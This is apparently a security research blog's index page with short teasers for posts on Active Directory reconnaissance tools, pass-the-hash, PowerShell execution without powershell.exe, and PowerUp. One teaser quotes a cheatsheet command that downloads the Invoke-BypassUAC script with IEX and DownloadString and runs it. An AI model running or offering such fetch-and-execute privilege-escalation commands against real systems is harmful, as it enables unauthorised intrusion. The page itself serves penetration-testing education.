Cyber Security Research Blogs

List of tools for common AD recon rpclient enum4linux Adexplorer Jdxplorer RSAT nltest netdom Powershell ADmodule Powerview setspn crackmapexec bloodhound sc command wmic command netContinue readingAD Recon For Beginners

There are multiple ways to brute force on an NTLM NTLMV2 hash. Attackers have used the Pass-the-Hash (PtH) attack for over two decades. Its effectivenessContinue readingPass the hash: A Nightmare still alive!

In this blog, we will discover the best tool to run PowerShell scripts and commands without using powershell.exe PowerLine NPS — Not PowerShell PowerShdll PowerLessShellContinue readingPowershell Scripts Execute without Powershell

Cheatsheet:- # Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command] powershell.exe -exec bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1’);Invoke-BypassUAC -Command ‘startContinue readingAD exploitation Powershell Cheatsheet

PowerUp.ps1 is a program that enables a user to perform quick checks against a Windows machine for any privilege escalation opportunities. It is not a comprehensiveContinue readingPowerUp Cheatsheet